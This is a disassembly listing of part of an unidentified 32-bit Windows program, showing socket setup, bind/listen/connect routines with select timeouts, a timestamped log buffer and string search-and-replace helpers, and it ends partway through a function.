		lea	edx, [esp+2Ch+var_20]
		push	ebx
		push	edx
		push	ebp
		call	near ptr 77C47A90h
		nop
		add	esp, 0Ch


loc_4198F0:				; CODE XREF: sub_419830+52j
					; sub_419830+75j ...
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 20h
		retn	10h
sub_419830	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_419940	proc near		; CODE XREF: sub_401EECj
		call	near ptr 2820861h
		nop
		push	eax
		nop
		call	near ptr 77C371BCh
		pop	ecx
		retn
sub_419940	endp

; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_419960	proc near		; CODE XREF: sub_4021A3j

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ecx
		push	esi
		nop
		call	near ptr 77C371D3h
		mov	esi, [esp+8+arg_0]
		mov	[esp+8+var_4], eax
		mov	eax, [esp+8+arg_4]
		fild	[esp+8+var_4]
		sub	eax, esi
		mov	[esp+8+arg_4], eax
		fimul	[esp+8+arg_4]
		fmul	dbl_43E0B0
		call	sub_43697A
sub_419960	endp

; ---------------------------------------------------------------------------
		sub	esi, eax
		mov	eax, esi
		pop	esi
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4199B0:				; CODE XREF: ___:00401C85j
		call	near ptr 77C371D3h
		nop
		cdq
		idiv	dword ptr [esp+4]
		mov	eax, edx
		retn
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------

locret_4199D0:				; CODE XREF: ___:0040151Ej
		retn
; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4199F0:				; CODE XREF: ___:00401FC3j
		xor	al, al
		retn	4
; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_419A10	proc near		; CODE XREF: sub_401523j

arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	eax, [esp+arg_C]
		mov	ecx, [esp+arg_4]
		mov	edx, [esp+arg_8]
		cmp	eax, 1
		setnl	al
		mov	byte ptr [esp+arg_C], al
		push	ecx
		mov	eax, [esp+4+arg_C]
		push	edx
		push	eax
		push	0
		mov	ecx, offset byte_4D6065
		call	sub_401118
		retn
sub_419A10	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_419A50:				; CODE XREF: ___:00401505j
		sub	esp, 0Ch
		mov	eax, [esp+20h]
		push	ebx
		push	ebp
		push	esi
		xor	esi, esi
		push	edi
		cmp	eax, esi
		mov	dword ptr [esp+18h], 80h
		mov	[esp+10h], esi
		jz	short loc_419A83
		push	eax
		nop
		call	near ptr 77C1BF18h
		add	esp, 4
		cmp	eax, esi
		mov	[esp+10h], eax
		jz	short loc_419A83
		mov	[esp+18h], eax


loc_419A83:				; CODE XREF: ___:00419A6Bj
					; ___:00419A7Dj
		mov	edi, [esp+28h]
		mov	ebx, [esp+24h]
		mov	ebp, [esp+20h]
		mov	[esp+14h], esi
		mov	esi, offset dword_506E1C


loc_419A98:				; CODE XREF: ___:00419AE9j
		mov	ecx, [esp+14h]
		mov	eax, [esp+18h]
		cmp	ecx, eax
		jge	short loc_419AEB
		cmp	byte ptr [esi],	0
		jz	short loc_419AD4
		mov	eax, [esp+30h]
		test	eax, eax
		jz	short loc_419AC8
		mov	ecx, [esp+10h]
		test	ecx, ecx
		jnz	short loc_419AC8
		push	eax
		push	esi
		nop
		call	near ptr 77C47C60h
		add	esp, 8
		test	eax, eax
		jz	short loc_419AD4


loc_419AC8:				; CODE XREF: ___:00419AAFj
					; ___:00419AB7j
		push	edi
		push	esi
		push	ebx
		push	ebp
		call	sub_401523
		add	esp, 10h


loc_419AD4:				; CODE XREF: ___:00419AA7j
					; ___:00419AC6j
		mov	edx, [esp+14h]
		add	esi, 80h
		inc	edx
		cmp	esi, offset dword_50AE1C
		mov	[esp+14h], edx
		jl	short loc_419A98


loc_419AEB:				; CODE XREF: ___:00419AA2j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_419B30:				; CODE XREF: ___:00402266j
		push	ebx
		mov	ebx, dword_50FAF8
		push	esi
		push	edi
		mov	edi, [esp+10h]
		mov	esi, offset dword_506E1C


loc_419B42:				; CODE XREF: ___:00419B5Ej
		cmp	byte ptr [esi],	0
		jz	short loc_419B52
		push	edi
		push	esi
		call	ebx	; strstr
		add	esp, 8
		test	eax, eax
		jnz	short loc_419B66


loc_419B52:				; CODE XREF: ___:00419B45j
		add	esi, 80h
		cmp	esi, offset dword_50AE1C
		jl	short loc_419B42
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_419B66:				; CODE XREF: ___:00419B50j
		pop	edi
		pop	esi
		mov	eax, 1
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_419B80	proc near		; CODE XREF: sub_4010D2j

var_10		= dword	ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		sub	esp, 10h
		lea	eax, [esp+10h+var_10]
		push	esi
		push	edi
		push	eax
		call	near ptr 27F0000h
		nop
		mov	edi, dword_50FAFC
		mov	esi, offset dword_50AE1C


loc_419B9B:				; CODE XREF: sub_419B80+3Bj
		cmp	byte ptr [esi],	0
		jz	short loc_419BAF
		push	7Fh
		lea	ecx, [esi+80h]
		push	esi
		push	ecx
		call	edi	; strncpy
		add	esp, 0Ch


loc_419BAF:				; CODE XREF: sub_419B80+1Ej
		sub	esi, 80h
		cmp	esi, offset dword_506E1C
		jge	short loc_419B9B
		mov	edx, [esp+18h+arg_0]
		mov	eax, [esp+18h+var_4]
		mov	ecx, [esp+12h]
		push	edx
		mov	edx, [esp+1Ch+var_8]
		and	eax, 0FFFFh
		and	ecx, 0FFFFh
		push	eax
		mov	eax, [esp+20h+var_10]
		and	edx, 0FFFFh
		push	ecx
		mov	ecx, [esp+1Ah]
		push	edx
		mov	edx, [esp+28h+var_10+2]
		and	eax, 0FFFFh
		and	ecx, 0FFFFh
		push	eax
		and	edx, 0FFFFh
		push	ecx
		push	edx
		push	offset a_2d_2d4d_2d_2d ; "[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s"
		push	80h
		push	offset dword_506E1C
		call	near ptr 77C3FA76h
		nop
		add	esp, 28h
		pop	edi
		pop	esi
		add	esp, 10h
		retn
sub_419B80	endp

; ---------------------------------------------------------------------------
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_419C50:				; CODE XREF: ___:004012DAj
		sub	esp, 600h
		mov	ecx, 80h
		xor	eax, eax
		push	ebx
		push	ebp
		push	esi
		push	edi
		lea	edi, [esp+10h]
		mov	esi, [esp+614h]
		rep stosd
		mov	ecx, 80h
		lea	edi, [esp+210h]
		mov	ebp, dword_50FAFC
		push	1FFh
		rep stosd
		mov	ecx, 80h
		lea	edi, [esp+414h]
		rep stosd
		lea	eax, [esp+14h]
		push	esi
		push	eax
		call	ebp	; strncpy
		mov	edx, [esp+628h]
		or	ecx, 0FFFFFFFFh
		mov	edi, edx
		xor	eax, eax
		add	esp, 0Ch
		repne scasb
		not	ecx
		dec	ecx
		cmp	ecx, 180h
		jbe	short loc_419CC1
		mov	[edx+180h], al


loc_419CC1:				; CODE XREF: ___:00419CB9j
		mov	ebx, [esp+618h]
		lea	ecx, [esp+10h]
		push	ebx
		push	ecx
		nop
		call	near ptr 77C47C60h
		add	esp, 8
		test	eax, eax
		jz	loc_419DD2


loc_419CDF:				; CODE XREF: ___:00419DC5j
		lea	edx, [esp+10h]
		push	ebx
		push	edx
		nop
		call	near ptr 77C47C60h
		mov	esi, eax
		mov	edi, ebx
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		push	1FFh
		add	ecx, esi
		lea	eax, [esp+41Ch]
		push	ecx
		push	eax
		call	ebp	; strncpy
		lea	ecx, [esp+24h]
		push	1FFh
		lea	edx, [esp+228h]
		push	ecx
		push	edx
		mov	byte ptr [esi],	0
		call	ebp	; strncpy
		lea	edx, [esi+1]
		add	esp, 20h
		test	edx, edx
		jz	short loc_419DA0
		lea	eax, [ebx-1]
		test	eax, eax
		jz	short loc_419DA0
		lea	edi, [ebx-1]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		mov	edi, edx
		mov	esi, ecx
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		dec	ecx
		cmp	ecx, esi
		jbe	short loc_419D7D
		mov	edx, [esp+61Ch]
		lea	ecx, [esp+410h]
		push	ecx
		lea	eax, [esp+214h]
		push	edx
		push	eax
		lea	ecx, [esp+1Ch]
		push	offset aSSS	; "%s%s%s"
		push	ecx
		call	sub_63125E
		nop
		add	esp, 14h
		jmp	short loc_419DA0
; ---------------------------------------------------------------------------


loc_419D7D:				; CODE XREF: ___:00419D4Ej
		mov	edx, [esp+61Ch]
		lea	eax, [esp+210h]
		push	edx
		push	eax
		lea	ecx, [esp+18h]
		push	offset aSS_3	; "%s%s"
		push	ecx
		nop
		call	sub_63125E
		add	esp, 10h


loc_419DA0:				; CODE XREF: ___:00419D2Aj
					; ___:00419D31j ...
		mov	edx, [esp+61Ch]
		mov	esi, dword_50FAF8
		push	edx
		push	ebx
		call	esi	; strstr
		add	esp, 8
		test	eax, eax
		jnz	short loc_419DCB
		lea	eax, [esp+10h]
		push	ebx
		push	eax
		call	esi	; strstr
		add	esp, 8
		test	eax, eax
		jnz	loc_419CDF


loc_419DCB:				; CODE XREF: ___:00419DB6j
		mov	esi, [esp+614h]


loc_419DD2:				; CODE XREF: ___:00419CD9j
		lea	edi, [esp+10h]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		push	ecx
		lea	ecx, [esp+14h]
		push	ecx
		push	esi
		call	ebp	; strncpy
		add	esp, 0Ch
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 600h
		retn
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 70h dup(0CCh)
; ---------------------------------------------------------------------------


loc_419E70:				; CODE XREF: ___:004018CFj
		sub	esp, 10h
		push	esi
		push	0
		push	1
		push	2
		nop
		call	near ptr 71AB3B91h
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_419E8E
		or	eax, eax
		pop	esi
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_419E8E:				; CODE XREF: ___:00419E85j
		mov	ecx, [esp+18h]
		xor	eax, eax
		mov	[esp+4], eax
		push	ecx
		mov	[esp+0Ch], eax
		mov	word ptr [esp+8], 2
		mov	[esp+10h], eax
		mov	[esp+14h], eax
		nop
		call	near ptr 71AB2B66h
		lea	edx, [esp+4]
		push	10h
		push	edx
		push	esi
		mov	[esp+12h], ax
		mov	dword ptr [esp+14h], 0
		call	near ptr 71AB3E00h
		nop
		test	eax, eax
		jz	short loc_419ED9
		or	eax, 0FFFFFFFFh
		pop	esi
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_419ED9:				; CODE XREF: ___:00419ECFj
		push	7FFFFFFFh
		push	esi
		nop
		call	near ptr 71AB88D3h
		test	eax, eax
		jz	short loc_419EF1
		or	eax, 0FFFFFFFFh
		pop	esi
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_419EF1:				; CODE XREF: ___:00419EE7j
		mov	eax, esi
		pop	esi
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_419F30:				; CODE XREF: ___:00401E65j
		push	edi
		xor	edi, edi
		mov	eax, offset byte_4DE295


loc_419F38:				; CODE XREF: ___:00419F48j
		cmp	dword ptr [eax], 0
		jz	short loc_419F4A
		add	eax, 316h
		inc	edi
		cmp	eax, offset byte_4E5E05
		jle	short loc_419F38


loc_419F4A:				; CODE XREF: ___:00419F3Bj
		cmp	edi, 13h
		jle	short loc_419F54
		or	eax, 0FFFFFFFFh
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_419F54:				; CODE XREF: ___:00419F4Dj
		lea	eax, [edi+edi*4]
		push	ebx
		shl	eax, 4
		sub	eax, edi
		mov	ebx, off_50FBF0
		push	esi
		lea	eax, [eax+eax*4]
		lea	esi, ds:4DE19Bh[eax*2]
		mov	eax, [esp+10h]
		push	eax
		push	esi
		call	ebx ; sub_63125E
		mov	ecx, [esp+24h]
		mov	edx, [esp+1Ch]
		mov	eax, [esp+20h]
		mov	[esi+0FAh], ecx
		mov	ecx, [esp+28h]
		mov	[esi+0FEh], edi
		mov	[esi+106h], edx
		mov	[esi+10Ah], eax
		add	esi, 10Eh
		push	ecx
		push	esi
		call	ebx ; sub_63125E
		add	esp, 10h
		mov	eax, edi
		pop	esi
		pop	ebx
		pop	edi
		retn
; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_419FF0	proc near		; CODE XREF: sub_4013E8j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h
arg_10		= dword	ptr  14h

		push	edi
		xor	edi, edi
		mov	eax, offset dword_4D6725


loc_419FF8:				; CODE XREF: sub_419FF0+18j
		cmp	dword ptr [eax], 0
		jz	short loc_41A00A
		add	eax, 316h
		inc	edi
		cmp	eax, offset byte_4DE295
		jle	short loc_419FF8


loc_41A00A:				; CODE XREF: sub_419FF0+Bj
		cmp	edi, 13h
		jle	short loc_41A014
		or	eax, 0FFFFFFFFh
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41A014:				; CODE XREF: sub_419FF0+1Dj
		lea	eax, [edi+edi*4]
		push	ebx
		shl	eax, 4
		sub	eax, edi
		mov	ebx, off_50FBF0
		push	esi
		lea	eax, [eax+eax*4]
		lea	esi, ds:4D662Bh[eax*2]
		mov	eax, [esp+0Ch+arg_0]
		push	eax
		push	esi
		call	ebx ; sub_63125E
		mov	ecx, [esp+14h+arg_C]
		mov	edx, [esp+14h+arg_4]
		mov	eax, [esp+14h+arg_8]
		mov	[esi+0FAh], ecx
		mov	ecx, [esp+14h+arg_10]
		mov	[esi+0FEh], edi
		mov	[esi+106h], edx
		mov	[esi+10Ah], eax
		add	esi, 10Eh
		push	ecx
		push	esi
		call	ebx ; sub_63125E
		add	esp, 10h
		mov	eax, edi
		pop	esi
		pop	ebx
		pop	edi
		retn
sub_419FF0	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41A0B0	proc near		; CODE XREF: sub_401C35j

var_190		= byte ptr -190h
arg_0		= byte ptr  4

		sub	esp, 190h
		push	ebp
		mov	ebp, ecx
		push	esi
		push	edi
		mov	dword ptr [ebp+0], offset off_43E0BC
		mov	eax, dword_50BAE8
		test	eax, eax
		jnz	short loc_41A0E8
		mov	eax, dword_50BAE8
		inc	eax
		mov	dword_50BAE8, eax
		lea	ecx, [esp+19Ch+var_190]
		push	ecx
		push	202h
		nop
		call	near ptr 71AB664Dh
		jmp	short loc_41A0F5
; ---------------------------------------------------------------------------


loc_41A0E8:				; CODE XREF: sub_41A0B0+19j
		mov	edx, dword_50BAE8
		inc	edx
		mov	dword_50BAE8, edx


loc_41A0F5:				; CODE XREF: sub_41A0B0+36j
		mov	al, [esp+19Ch+arg_0]
		or	ecx, 0FFFFFFFFh
		mov	[ebp+80Ah], al
		mov	edi, offset byte_446F20
		xor	eax, eax
		mov	[ebp+806h], ecx
		mov	byte ptr [ebp+80Ch], 0
		mov	word ptr [ebp+4], 0
		repne scasb
		not	ecx
		sub	edi, ecx
		lea	edx, [ebp+6]
		mov	eax, ecx
		mov	esi, edi
		mov	edi, edx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		mov	eax, ebp
		and	ecx, 3
		rep movsb
		pop	edi
		mov	byte ptr [ebp+80Bh], 0
		pop	esi
		pop	ebp
		add	esp, 190h
		retn	4
sub_41A0B0	endp

; ---------------------------------------------------------------------------
		db 90h
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41A180	proc near		; CODE XREF: ___:004018D4j sub_401AF5j

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_401FC8
		test	[esp+4+arg_0], 1
		jz	short loc_41A198
		push	esi
		call	sub_436872
; ---------------------------------------------------------------------------
		add	esp, 4


loc_41A198:				; CODE XREF: sub_41A180+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_41A180	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41A1B0	proc near		; CODE XREF: sub_401FC8j
		mov	al, [ecx+80Ah]
		mov	dword ptr [ecx], offset	off_43E0BC
		test	al, al
		jnz	short loc_41A1C5
		call	sub_4014DD


loc_41A1C5:				; CODE XREF: sub_41A1B0+Ej
		mov	eax, 1
		mov	ecx, dword_50BAE8
		cmp	ecx, eax
		jle	short loc_41A1E0
		mov	eax, dword_50BAE8
		dec	eax
		mov	dword_50BAE8, eax

locret_41A1DF:				; CODE XREF: sub_41A1B0:loc_41A1E0j
		retn
; ---------------------------------------------------------------------------


loc_41A1E0:				; CODE XREF: sub_41A1B0+22j
		jnz	short locret_41A1DF
		mov	ecx, dword_50BAE8
		dec	ecx
		mov	dword_50BAE8, ecx
		nop
		jmp	near ptr 71AB4428h
sub_41A1B0	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41A220:				; CODE XREF: ___:004015A0j
		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset loc_43AD6B
		push	eax
		mov	large fs:0, esp
		sub	esp, 814h
		push	esi
		mov	esi, ecx
		call	sub_40195B
		test	al, al
		jz	loc_41A2D1
		mov	al, [esi+80Bh]
		test	al, al
		jz	short loc_41A259
		mov	al, 1
		jmp	short loc_41A2D1
; ---------------------------------------------------------------------------


loc_41A259:				; CODE XREF: ___:0041A253j
		push	ebx
		push	edi
		mov	edi, [esp+830h]
		push	800h
		lea	eax, [esi+6]
		push	edi
		push	eax
		call	near ptr 77C47A90h
		nop
		mov	ebx, [esp+840h]
		add	esp, 0Ch
		lea	ecx, [esp+0Ch]
		mov	[esi+4], bx
		call	sub_401186
		mov	ecx, [esp+83Ch]
		mov	edx, [esp+838h]
		push	ecx
		push	edx
		push	ebx
		push	edi
		lea	ecx, [esp+1Ch]
		mov	dword ptr [esp+838h], 0
		call	sub_401636
		push	eax
		mov	ecx, esi
		call	sub_4020C7
		lea	ecx, [esp+0Ch]
		mov	bl, al
		mov	dword ptr [esp+828h], 0FFFFFFFFh
		call	sub_40186B
		mov	al, bl
		pop	edi
		pop	ebx


loc_41A2D1:				; CODE XREF: ___:0041A245j
					; ___:0041A257j
		mov	ecx, [esp+818h]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 820h
		retn	10h
; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41A330	proc near		; CODE XREF: sub_40195Bj
		mov	al, byte_443D8C
		retn
sub_41A330	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41A350	proc near		; CODE XREF: sub_4020C7j

var_11C		= dword	ptr -11Ch
var_118		= dword	ptr -118h
var_114		= dword	ptr -114h
var_110		= dword	ptr -110h
var_10C		= dword	ptr -10Ch
var_108		= dword	ptr -108h
var_104		= dword	ptr -104h
var_100		= dword	ptr -100h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= byte ptr  10h

		sub	esp, 11Ch
		push	ebp
		push	esi
		push	edi
		mov	esi, ecx
		call	sub_40195B
		test	al, al
		jnz	short loc_41A370
		pop	edi
		pop	esi
		pop	ebp
		add	esp, 11Ch
		retn	10h
; ---------------------------------------------------------------------------


loc_41A370:				; CODE XREF: sub_41A350+12j
		mov	al, [esi+80Bh]
		test	al, al
		jnz	loc_41A511
		push	6
		push	1
		push	2
		nop
		call	near ptr 71AB3B91h
		cmp	eax, 0FFFFFFFFh
		mov	[esi+806h], eax
		jnz	short loc_41A3AA
		mov	ecx, esi
		call	sub_4014DD
		pop	edi
		pop	esi
		xor	al, al
		pop	ebp
		add	esp, 11Ch
		retn	10h
; ---------------------------------------------------------------------------


loc_41A3AA:				; CODE XREF: sub_41A350+43j
		mov	al, [esp+128h+arg_C]
		test	al, al
		jnz	short loc_41A3B9
		push	1
		jmp	short loc_41A3BB
; ---------------------------------------------------------------------------


loc_41A3B9:				; CODE XREF: sub_41A350+63j
		push	0


loc_41A3BB:				; CODE XREF: sub_41A350+67j
		mov	ecx, esi
		call	sub_4018BB
		mov	edi, [esp+128h+arg_4]
		xor	eax, eax
		mov	[esp+128h+var_114], eax
		push	edi
		mov	[esp+12Ch+var_110], eax
		mov	[esi+4], di
		mov	[esp+12Ch+var_10C], eax
		mov	word ptr [esp+12Ch+var_114], 2
		mov	[esp+12Ch+var_108], eax
		nop
		call	near ptr 71AB2B66h
		mov	ecx, [esp+128h+arg_0]
		mov	word ptr [esp+128h+var_114+2], ax
		mov	eax, [esi+806h]
		lea	edx, [esp+128h+var_114]
		push	10h
		push	edx
		push	eax
		mov	[esp+134h+var_110], ecx
		mov	[esi+4], di
		nop
		call	near ptr 71AB406Ah
		mov	ebp, dword_50FC44
		test	eax, eax
		jge	short loc_41A45C
		call	ebp	; WSAGetLastError
		cmp	eax, 2733h
		jz	short loc_41A44D
		call	ebp	; WSAGetLastError
		cmp	eax, 0Bh
		jz	short loc_41A44D
		call	ebp	; WSAGetLastError
		cmp	eax, 2733h
		jz	short loc_41A44D
		mov	byte ptr [esi+80Bh], 0
		pop	edi
		pop	esi
		xor	al, al
		pop	ebp
		add	esp, 11Ch
		retn	10h
; ---------------------------------------------------------------------------


loc_41A44D:				; CODE XREF: sub_41A350+D6j
					; sub_41A350+DDj ...
		mov	al, byte ptr [esp+128h+arg_8]
		test	al, al
		jnz	loc_41A50A


loc_41A45C:				; CODE XREF: sub_41A350+CDj
		mov	eax, [esi+806h]
		xor	ecx, ecx
		lea	edx, [esp+128h+var_11C]
		mov	edi, dword_50FC80
		mov	[esp+128h+var_11C], ecx
		push	edx
		mov	[esp+12Ch+var_118], ecx
		push	ecx
		lea	ecx, [esp+130h+var_104]
		mov	[esp+130h+var_100], eax
		push	ecx
		inc	eax
		push	0
		push	eax
		mov	[esp+13Ch+var_11C], 0Ah
		mov	[esp+13Ch+var_104], 1
		call	edi	; select
		test	eax, eax
		jge	short loc_41A4D0


loc_41A49B:				; CODE XREF: sub_41A350+17Ej
		call	ebp	; WSAGetLastError
		call	ebp	; WSAGetLastError
		cmp	eax, 4
		jnz	short loc_41A4E5
		mov	eax, [esp+128h+var_11C]
		test	eax, eax
		jnz	short loc_41A4B4
		mov	eax, [esp+128h+var_118]
		test	eax, eax
		jz	short loc_41A4E5


loc_41A4B4:				; CODE XREF: sub_41A350+15Aj
		mov	ecx, [esi+806h]
		lea	edx, [esp+128h+var_11C]
		push	edx
		lea	eax, [esp+12Ch+var_104]
		push	0
		push	eax
		inc	ecx
		push	0
		push	ecx
		call	edi	; select
		test	eax, eax
		jl	short loc_41A49B


loc_41A4D0:				; CODE XREF: sub_41A350+149j
		mov	al, [esp+128h+arg_C]
		test	al, al
		jnz	short loc_41A501
		mov	edx, [esp+128h+arg_8]
		push	edx
		jmp	short loc_41A503
; ---------------------------------------------------------------------------


loc_41A4E5:				; CODE XREF: sub_41A350+152j
					; sub_41A350+162j
		mov	ecx, esi
		call	sub_4014DD
		mov	byte ptr [esi+80Bh], 0
		pop	edi
		pop	esi
		xor	al, al
		pop	ebp
		add	esp, 11Ch
		retn	10h
; ---------------------------------------------------------------------------


loc_41A501:				; CODE XREF: sub_41A350+189j
		push	0


loc_41A503:				; CODE XREF: sub_41A350+193j
		mov	ecx, esi
		call	sub_4018BB


loc_41A50A:				; CODE XREF: sub_41A350+106j
		mov	byte ptr [esi+80Bh], 1


loc_41A511:				; CODE XREF: sub_41A350+28j
		pop	edi
		pop	esi
		mov	al, 1
		pop	ebp
		add	esp, 11Ch
		retn	10h
sub_41A350	endp

; ---------------------------------------------------------------------------
		db 90h
		db 80h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41A5A0	proc near		; CODE XREF: sub_4014DDj
		push	esi
		mov	esi, ecx
		mov	eax, [esi+806h]
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41A5BA
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41A5BA
		push	eax
		nop
		call	near ptr 71AB9639h


loc_41A5BA:				; CODE XREF: sub_41A5A0+Cj
					; sub_41A5A0+11j
		mov	ecx, esi
		call	sub_401375
		mov	byte ptr [esi+80Bh], 0
		pop	esi
		retn
sub_41A5A0	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41A5E0	proc near		; CODE XREF: sub_401375j
		push	ebp
		mov	edx, ecx
		push	esi
		push	edi
		or	ecx, 0FFFFFFFFh
		mov	edi, offset byte_446F20
		xor	eax, eax
		mov	[edx+806h], ecx
		mov	word ptr [edx+4], 0
		lea	ebp, [edx+6]
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	eax, ecx
		mov	esi, edi
		mov	edi, ebp
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		pop	edi
		pop	esi
		mov	byte ptr [edx+80Bh], 0
		mov	byte ptr [edx+80Ch], 0
		pop	ebp
		retn
sub_41A5E0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41A650	proc near		; CODE XREF: sub_401488j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		sub	esp, 10h
		push	esi
		mov	esi, ecx
		call	sub_40195B
		test	al, al
		jnz	short loc_41A666
		pop	esi
		add	esp, 10h
		retn	4
; ---------------------------------------------------------------------------


loc_41A666:				; CODE XREF: sub_41A650+Dj
		mov	al, [esi+80Bh]
		test	al, al
		jnz	loc_41A71F
		push	6
		push	1
		push	2
		nop
		call	near ptr 71AB3B91h
		cmp	eax, 0FFFFFFFFh
		mov	[esi+806h], eax
		jnz	short loc_41A69B
		mov	ecx, esi
		call	sub_4014DD
		xor	al, al
		pop	esi
		add	esp, 10h
		retn	4
; ---------------------------------------------------------------------------


loc_41A69B:				; CODE XREF: sub_41A650+39j
		mov	ecx, [esp+14h+arg_0]
		xor	eax, eax
		mov	[esp+14h+var_10], eax
		push	ecx
		mov	[esp+18h+var_C], eax
		mov	word ptr [esp+18h+var_10], 2
		mov	[esp+18h+var_8], eax
		mov	[esp+18h+var_4], eax
		nop
		call	near ptr 71AB2B66h
		mov	word ptr [esp+14h+var_10+2], ax
		mov	eax, [esi+806h]
		lea	edx, [esp+14h+var_10]
		push	10h
		push	edx
		push	eax
		mov	[esp+20h+var_C], 0
		call	near ptr 71AB3E00h
		nop
		test	eax, eax
		jz	short loc_41A6F4
		mov	ecx, esi
		call	sub_4014DD
		xor	al, al
		pop	esi
		add	esp, 10h
		retn	4
; ---------------------------------------------------------------------------


loc_41A6F4:				; CODE XREF: sub_41A650+92j
		mov	ecx, [esi+806h]
		push	32h
		push	ecx
		nop
		call	near ptr 71AB88D3h
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41A718
		mov	ecx, esi
		call	sub_4014DD
		xor	al, al
		pop	esi
		add	esp, 10h
		retn	4
; ---------------------------------------------------------------------------


loc_41A718:				; CODE XREF: sub_41A650+B6j
		mov	byte ptr [esi+80Bh], 1


loc_41A71F:				; CODE XREF: sub_41A650+1Ej
		mov	al, 1
		pop	esi
		add	esp, 10h
		retn	4
sub_41A650	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41A770	proc near		; CODE XREF: sub_401B81j

var_120		= dword	ptr -120h
var_11C		= dword	ptr -11Ch
var_118		= dword	ptr -118h
var_114		= byte ptr -114h
var_104		= dword	ptr -104h
var_100		= dword	ptr -100h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		sub	esp, 120h
		push	esi
		push	edi
		mov	esi, ecx
		call	sub_40195B
		test	al, al
		jnz	short loc_41A78E
		pop	edi
		pop	esi
		add	esp, 120h
		retn	0Ch
; ---------------------------------------------------------------------------


loc_41A78E:				; CODE XREF: sub_41A770+11j
		mov	al, [esi+80Bh]
		test	al, al
		jnz	short loc_41A7A5
		pop	edi
		xor	al, al
		pop	esi
		add	esp, 120h
		retn	0Ch
; ---------------------------------------------------------------------------


